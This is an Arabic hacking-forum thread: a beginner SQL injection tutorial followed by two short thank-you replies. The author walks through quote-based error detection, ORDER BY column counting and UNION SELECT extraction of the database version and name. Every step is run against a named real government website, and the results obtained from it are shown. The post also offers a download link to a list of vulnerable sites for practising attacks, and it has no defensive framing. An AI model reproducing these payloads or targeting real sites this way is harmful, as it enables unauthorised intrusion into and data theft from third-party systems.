المساعد الشخصي الرقمي

مشاهدة النسخة كاملة : الشرح البسيط لمقدمة في حقن الsql + هدية صغيرة



Hidden pain
09-25-2010, 05:18 PM
أولا السلام عليكم و رحمة الله تعالى و بركاته
و شكرا على مروركم


حاولت أن أشرح في هاذا الموضوع نوعا من أنواع اختراق المواقع و هو حقن الsql

نبدأ على بركة الله

1- كيفية اكتشاف ثغرات الsql

لاكتشاف ثغرات الsql نضيف ' إلى المتغير فإذا كان الموقع مصاب سيظهر لنا خطأ
مثلا ستظهر الجملة
You have an error in your SQL syntaxأو
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in.......
داخل الموقع أو سينقص أو يتغير محتوى الموقع
ملاحظة : يمكن أن لا يضهر خطأ عند إضافة ' لكن هذا لا يعنني أن الموقع غير مصاب
جربوا إضافة كتابة معينة إلى المتغير مثلا سأضيف Hidden pain ربما سيضهر خطأ
مثال :
هذا موقع مصاب
http://www.saladillo.gov.ar/notas.php?id=1
عند إضافة ' إلى المتغير ليصبح كالتالي
http://www.saladillo.gov.ar/notas.php?id=1' (http://www.saladillo.gov.ar/notas.php?id=1%27)
سيضهر خطأ و كذلك عند إضافة كلمة ك :
http://www.saladillo.gov.ar/notas.php?id=1hidden pain
(http://www.saladillo.gov.ar/notas.php?id=1hidden%20pain)
أرجو أن تكون الفكرة وصلت..:):)

2- نبدأ الاستغلال :p:p

حسنا .. الآن بعد ما اكتشفنا الثغرة
يجب الإن اكتشاف عدد الأعمدة
و لذلك نقوم بإضافة

+order+by+

ليصبح الموقع كالتالي

http://www.saladillo.gov.ar/notas.php?id=1+order+by+
و نضيف بعدها عدد أعمدة ( نحزره )
مثلا +order+by+1إذا ضهرت الصفحة سليمة يعني العمود 1 موجود
نواصل
+order+by+6
إذا ضهرت الصفحة يعني العمود 6 موجود
نواصل إلى غاية ظهور خطأ
مثلا في هذا الموقع عند الوصول للعمود رقم 11
+order+by+11ضهر لي خطأ
Warning: mysql_fetch_array(....
يعني العمود 11 غير موجود و عدد الأعمدة هو 10 :cool::cool:
ملاحظة : يمكن أيضا أن لا يظهر خطأ :(:(
يمكن أن ينقص محتوى الصفحة أو يختفي .. هذا يعتبر خطأ :rolleyes:... المهم اذهب لإحضار شيئ تأكله أو تشربه و شغل مخك معي :p

أضن إلى غاية الآن ليس هناك شيئ صعب ..

عرفنا عدد الأعمدة ( 10 ) و بقى أن نكتشف الأعمدة المصابة ..
نكتب بعد المتغير

-1+union+select+1,2,3,4,5,6,7,8,9,10--
ليصبح الموقع كالتالي

http://www.saladillo.gov.ar/notas.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10--

لاحظوا الأرقام كيف أضفتها من رقم أول عمود إلى آخر عمود
نضيف الأرقام حسب عدد الأعمدة
مثلا إن كان العدد 6
سنضيف

-1+union+select+1,2,3,4,5,6--

و أيضا لاحضوا اشارات ال - في البداية قبل المتغير - واحدة
و بعد المتغير إثنتان

الآن ستضهر الأعمدة المصابة في الصفحة
هنا ضهرت لي ... 4 . 5 . 7 .8
هذه هي الأعمدة التي سأستعملها في الإستعلام

database()
نستعمل هذا الأمر لجلب اسم القاعدة--

version()
و هذا لإضهار اصدار القاعدة
و نضعهما في مكان أحد الأعمدة المصابة مثلا مكان العمود 5 و 4
يصبح الموقع كالتالي :

http://www.saladillo.gov.ar/notas.php?id=-1+union+select+1,2,3,version%28%29,database%28%29, 6,7,8,9,10--

ظهر لي
الإصدار : 4.1.22-standard
اسم القاعدة : me000007_saladillo

مشكلة : أمي تنادي علي لا أدري لماذا :p:p
-------------------------------------------------------

قبل أ أذهب أردت إخباركم أن هناك اختلاف في الحقن بين الإصدار الرابع و الإصدار الخامس
فالرابع يعتمد على تخمين أسامي الجداول و التي تكون عادة admin - user - users- admins - usarios .... ,و شيئ من هذا القبيل
أما الإصدار الخامس فبه شيئ اسمه INFORMATION_SCHEMA
يساعد على استخراج أسامي الجداول

أرجوا أن أكون قد أفدت و لو بالشيئ القليل :o:o

الأنترنت ستنقطع اليوم و لا أملك نقودا كافية لإعادة الإشتراك----:(:(
فأرجو أن تعذروني على عدم اكمال الموضوع-----
و إن شاء الله سأكمل في أقرب وقت ممكن

بخصوص الهدية فهي مجموعة مواقع مصابة للتدرب عليها..

اضغط هنا للتحميل من فظلك (http://www.multiupload.com/WU4U9OXFRA)


pass : www.aljyyosh.com

The shadow
09-26-2010, 01:42 AM
مشكور اخي على تعبك بالموضوع

تحياتي لك

هاوي حنانك
09-26-2010, 11:25 AM
سلمت يدااااااك على هذا الموضوع الرااااائع

دمت في تألق وابداع